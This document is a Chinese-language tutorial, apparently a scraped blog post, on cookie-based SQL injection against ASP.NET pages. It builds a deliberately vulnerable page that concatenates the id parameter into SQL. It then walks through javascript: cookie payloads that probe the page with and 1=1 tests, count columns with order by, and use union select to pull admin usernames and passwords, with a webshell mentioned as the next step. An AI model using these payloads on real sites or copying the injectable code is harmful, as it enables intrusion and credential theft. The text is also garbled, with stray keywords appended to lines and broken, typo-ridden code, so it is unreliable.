1、SQL注入原理javascript
我以aspx爲例,如今咱們來研究下Cookie注入是怎麼產生的,在獲取URL參數的時候,若是在代碼中寫成Request[「id」],這樣的寫法問題就出現了。我先普及下科普知識,在aspx中Request.QueryString[「id」]用於接收get提交的數據,Request.Form[「id」]用於接收post提交的數據。若是不指定使用QueryString仍是Form接收數據,WEB服務是怎樣讀取數據的呢,他是先取GET中的數據沒有取到,再取POST中的數據若是尚未,在去取Cookies中的數據。這樣Cookie注入就產生了。java
2、測試環境sql
ASP.NET+SQL servershell
ASP.NET代碼:數據庫
Aspx文件有兩個。瀏覽器
Default,aspx頁面代碼cookie
protected void page Load(object sender,EwentArgs e)post
{測試
string id=Request{"id"}.ToString();url
string connuser=@"Data Source=;lnitial
Catalog=CookieDemo;lntegrated Sccurity=True";
string xx=Server.UrlDecode(id);
steing sql="select*from Cookie where id="=xx
SqlConncction conn=new
SqlConnection(connuser);
conn Open();
Sqlcommand comm""new
Sqlcommand(sql,conn);
SqlDataReader datare=comm,ExecureReader();
while(datare.Read())
{
Response.Write(datare{"name"}
}
conn.Close();
}
Test頁面代碼
<body>
<form id = "forml"runat="server">
<div>
<a href="test.aspx?id=2">Cookie測試</a>
</div>
</form>
</body>
數據庫:
數據庫建庫建表代碼我就不寫出來了,爲了節省點版面。
3、實戰演習
咱們先訪問Default.aspx。點擊「Cookie測試」跳轉到test.aspx?id=2頁面,參數爲id值爲「2」,test.aspx頁面中顯示出了數據庫中id爲「2」相應的值。
如今咱們把地址欄中的?id=2刪除掉就成了,而後在瀏覽,出錯了。
返回了錯誤頁面什麼數據也沒有,這是必然的學過腳本語言的同窗很容易理解這個問題,咱們沒有在瀏覽器傳達id的值,因此Request在接收id的值的時候就什麼也沒有獲取到。這樣sql語句就會出現錯誤,必然會返錯誤頁面,如今咱們在把地址欄中的url刪除掉,在地址欄輸入「javascript:alert(document.cookie="id="+escape("3"));」瀏覽一下彈出個提示框。
如今咱們在來訪問一下這個不帶參數的連接,就出來了id=3的相應的值。
爲了方便不懂javascript的朋友我簡單介紹下。
javascript:alert(document.cookie="id="+escape("3"));的意思,我說明一下document.cookie="id="+escape("3")就是把3保存到Cookies的id中。這樣在過濾了Form,QueryString提交而沒有過濾Cookie的時候,就可以Cookie注入了…基本原理就是這些了,如今實戰操做下……
在地址欄輸入「javascript:alert(document.cookie="id="+escape("3 and 1=1¨))」提交一下,而後在在刷新下頁面出現了id=3的數據。而後在地址欄輸入「javascript:alert(document.cookie="id="+escape("3 and l=2"))」瀏覽一下彈出如今在刷新下頁面出現了空白頁面。
兩次返回不同證實能夠注入,我用Cookie注入演示怎麼爆破出管理員帳號密碼,和常規的sql注入同樣只不過是要用到Javascript,仍是先判斷字段而後在地址欄輸入「javascript:alert(document.cookie="id="+escape("3 order by 2"))」提交之後刷新返回正常。
而後在地址欄輸入「javascript:alert(document.cookie="id="+escape("3 0rder by 3"))」,返回錯誤。
肯定字段數爲2個javascript:alert(document.cookie="id="+escape("3 union select l,'2'"))。而後刷新就爆破出了數字2相應的位置。我本身搭建的環境測試,就不猜表了admin表是管理員表,表中有id,username,pass這3個字段,在真實的滲透中這些是須要本身去猜的。如今咱們提交javascript:alert(document.cookie="id="+escape("3 union select 1,username from admin"))後刷新就爆破出了用戶名。而後輸入javascript:alert(document.cookie="id="+escape("3 union select 1,pass from admin"))刷新下頁面密碼就出來了。
帳號密碼都有了剩下的就是想辦法後臺拿Webshell了,因爲我沒有寫後臺測試頁面,文章就到這了。這就是Cookie注入,但願對你們有幫助,SEE YOU。